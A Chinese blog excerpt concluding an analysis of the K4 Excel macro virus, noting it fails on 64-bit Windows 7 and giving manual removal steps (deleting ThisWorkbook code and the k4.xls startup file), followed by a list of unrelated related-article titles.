据冒死测试，该宏病毒在Win7 64环境下无法发挥作用，连k4模块都不能写入到Excel启动目录。可能和Win7的安全性有关。如果本机没有安装Outlook，这个宏病毒显得非常无趣。
网上什么K4专杀工具，利用Excel.Application其它或OLE技术删除带毒模块的思路貌似徒劳。一旦调用OpenFile函数，即激活了病毒，无法根除。
关于这个病毒的查毒，目前还是通过更新杀毒软件应该去搞定吧。
手动也可以，得一个一个打开感染的.xls文件，删除Thisworkbook里的代码，最后一步是删除Excel启动目录里的k4.xls文件。但明显这是件痛苦的事。
如果分析有误，欢迎批评指正。
新型K4宏病毒代码分析报告相关推荐
- linux安全策略查询代码,Linux多安全策略和动态安全策略框架模块代码分析报告(14)...
函数名称 函数功能 selinux_set_mapping() 计算参数map中客体类别的数量,并将map中字符形式的类别-权限映射转换为数值形式的类别权限映射 map_class() 将客体类别在策 ...
- [译] APT分析报告：04.Kraken - 新型无文件APT攻击利用Windows错误报告服务逃避检测
这是作者新开的一个专栏,主要翻译国外知名的安全厂商APT报告文章,了解它们的安全技术,学习它们溯源APT组织的方法,希望对您有所帮助.前文分享了APT组织Fin7 / Carbanak的Tirion恶 ...
- 用哪种语言写的应用漏洞最严重？六大主流语言代码漏洞分析报告出炉
来源:机器之心 本文约1600字,建议阅读5分钟 静态代码分析安全公司 Veracode 近日发布了一份应用程序分析报告,结果发现比起 JavaScript 和 Python 等语言,C++ 和 PH ...
- 中国新型储能市场技术进展与投资经营模式建议分析报告2022-2028年版
中国新型储能市场技术进展与投资经营模式建议分析报告2022-2028年版 第一章 2019-2021年中国新型储能行业发展环境分析 第二章 2019-2021年中国新型储能产业发展分析 2.1 中 ...
- 分析师机构发布中国低代码平台现状分析报告，华为云AppCube为数字化转型加码
摘要:Forrester指出,中国企业数字化转型过程中,有58%的决策者正在采用低代码工具进行软件构建,另有16%的决策者计划采用低代码. 华为消息,知名研究与分析机构Forrester Resear ...
- 【权威发布】360天眼实验室：Xshell被植入后门代码事件分析报告（完整版）
本文由 安全客 原创发布,如需转载请注明来源及本文地址. 本文地址:http://bobao.360.cn/learning/detail/4278.html 文档信息 事件概要 事件简述 近日,非常 ...
- 全球及中国用于癌症治疗的新型药物输送系统行业研究及十四五规划分析报告
[报告篇幅]:147 [报告图表数]:200 [报告出版时间]:2021年1月 报告摘要 2019年,全球用于癌症治疗的新型药物输送系统市场规模达到了xx亿元,预计2026年将达到xx亿元,年复合增长 ...
- 腾讯云微搭入选国际权威研究机构Forrester《2021年低代码平台中国市场现状分析报告》
11月12日,全球权威研究机构.「低代码」概念提出者 Forrester 发布了<低代码平台中国市场现状分析报告(The State Of Low-Code Platforms In China ...
- Forrester首份《低代码平台中国市场现状分析报告》哪些厂商入围了
2014年Forrester首次提出Low-Code定义,资本的助力,数字化转型的推动,越来越多的厂商以各种方式加入到低代码市场.中国低代码市场热闹非凡.2021年底,Forrester发布了首份&l ...
- 基于销售软件利润表的数据可视化分析：数据+代码+实验报告：
代码: ' # pip install seaborn -i https://pypi.tuna.tsinghua.edu.cn/simple import pandas as pd import s ...
最新文章
- symfony2 Process 组件的学习笔记
- stm32f103r6最小系统原理图_电气工程师电气系统设计与电气设备的选择
- [SAP ABAP开发技术总结]EXIT-COMMAND
- 转]网络上收集的Visual Studio 2008的一些小技巧
- sql express 会提供iis 服务
- Salesforce 小知识：大量“子记录”的处理方法
- 编程到底难在哪里？ 从一个美国实习生的故事说起
- 工业串口服务器如何使用
- 165体重_165—185男生标准体重，抓紧健身吧，要不没有女生会喜欢的
- ANDROID定义自己的看法——onMeasure，MeasureSpec源代码 过程 思考具体解释
- 如何在DNN4下使用VS2005进行单元测试？？？
- 【训练计划】--2019-05
- Spring框架 教程
- python3 numpy教程_Python Numpy 教程
- 【阿里开发规范】Java开发手册（嵩山版）
- ue4风格化材质_在UE4中制作风格化场景：Bird House_资源库
- 关于前端接口报错500原因
- 基于springboot酒店管理系统
- ASCII Binary
- hdu 5418 Victor and World (floyd+状压dp)